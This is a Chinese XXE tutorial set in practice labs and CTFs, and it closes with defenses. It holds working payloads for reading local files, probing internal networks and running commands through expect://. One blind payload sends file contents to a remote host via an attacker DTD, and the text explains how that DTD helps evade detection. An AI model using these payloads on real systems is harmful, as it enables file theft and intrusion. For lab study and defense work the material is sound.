39 WEB漏洞

编程入门 行业动态 更新时间:2024-10-13 10:28:36

39 WEB<a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞"/>

39 WEB漏洞

目录

    • 涉及案例
      • pikachu靶场xml数据传输测试-回显、玩法、协议、引入
      • 玩法-读文件
      • 玩法-内网探针或攻击内网应用(触发漏洞地址)
      • 玩法-RCE
      • 引入外部实体dtd
      • 无回显-读取文件
      • 协议-读文件(绕过)
      • xxe-lab靶场登陆框xml数据传输测试-检测发现
      • CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
      • xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
      • CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
      • xxe漏洞修复与防御方案-php,java,python-过滤及禁用

文章分享:.html

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害

XML与HTML的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD
文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE声明

(2)外部文档声明

#DTD实体
(1)内部实体声明

<!ENTITY 实体名称 "实体的值">

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体声明

<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">

涉及案例

pikachu靶场xml数据传输测试-回显、玩法、协议、引入

玩法-读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo {
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
>
]>
<x>&rabbit;</x>

玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

实战情况下,这种情况很难碰到,不能去执行命令

引入外部实体dtd

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

对方允许外部实体,那么它就可以去调用远程的实体去执行相关的攻击代码,这种类似于,我们在讲文件包含的时候,本地包含,远程包含的一个概念,这种引用外部实体dtd文件,其实就类似于远程包含漏洞的原理
自定义的攻击代码,为了绕过一些远程防御的代码,因为对方有检测有防御软件的话,他会去跟踪用户行为,发现你正在对这个文件进行读取,他会拦截,或者在代码中分析到有关键的协议名,或者是观念的东西,可能会有拦截,这种时候就把你的核心代码放在上面,这个payload远程去请求并执行核心代码
应用场景在于绕过和进行自定义攻击,要攻击的时候,改dtd文件就可以了

无回显-读取文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>test.dtd:
<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

没有回显,我们就不知道你读的内容,那这个攻击就没有什么意义了
file变量读取指定内容,读到之后会复制给file,执行dtd里面的代码

协议-读文件(绕过)

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

网上有很多字典关于xxe攻击的payload

xxe-lab靶场登陆框xml数据传输测试-检测发现

1.提交的数据包含XML格式如:
admin
2.请求头中如:

Content-Type: text/xml或Content-type:application/xml<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password><
/user>

xxe扫描工具网上也有,但是效果我没有尝试

主要是通过爬行的数据包,用BP抓包,并且在bp上面有爬行数据包的功能,我们可以让bp帮我们爬取整个网站,把地址请求都爬一遍,爬完之后,可以在每个数据包里面进行批量搜索,搜索Content-Type值的判断,如果在这个数值里面,发现有text/xml或者application/xml,表示后面接上的数据,都是xml的格式语言的数据传递,这个时候是符合xml语言的接收,这个时候就能够进行尝试漏洞
根据传输数据的格式,这个格式的写法就是典型的xml语言代码的写法
盲猜,没有并不代表接收,他可能在代码当中是正常显示,只是说这个数据包没有正常显示,这个时候你就能够去尝试更改类型,更改为text/xml或着application/xml其中的一种,再把攻击语句写到数据那里,实现对它测试有没有xxe漏洞,这就是根据人工方法去测试有没有漏洞,是否存在的常规操作

对网站进行爬取

这种写法就是典型的xml写法,他是符合测试xxe漏洞存在的,这个时候,我们对它进行攻击,直接把payload复制上去就可以了
找到符合漏洞存在的数据包,我们在提交数据这里,提交自身的payload进行攻击

他这种提交数据给到上面之后,他的数据传输形式采用的是json的形式提交的,这种就是盲猜了,猜你有没有,我们直接修改Content-Type类型,因为数据包你不修改这个类型的话,传输数据的时候,这个写法就不识别了

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

:9882/
更改请求数据格式:application/xml

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

把数据格式换成payload的格式,之前讲的方法是先判断他符不符合xml的格式,符合,我们在确定他有没有这个漏洞,所以这两个概念是不一样的
更改数据包来实现xxe漏洞的盲猜

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

XXEinjector使用方法:.html
XXEinjector检测工具:
.html
xxe_payload_fuzz
从发现目标地址到目标的资产收集,对目标的资产信息进行攻击,找到对应的漏洞来实现一步步的操作

CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT Y ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

靶机综合难度来说还是有一些的,他不会像发现漏洞、利用漏洞就完了,他中间会给你绕一下

xxe漏洞修复与防御方案-php,java,python-过滤及禁用

#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))

#方案2-过滤用户提的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

XXE漏洞产生的根本原因就是网站有接收xml数据,xml其实就是语言,网站有接收xml的数据,但是它没有进行过滤,所以我们可以让他接收xml的一些代码,这个代码就是执行文件读取这个操作的,他其实从我们讲的注入里面,json注入,反序列化,都是一种数据的格式问题

更多推荐

39 WEB漏洞

本文发布于:2023-12-06 21:28:13,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1668983.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   WEB

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!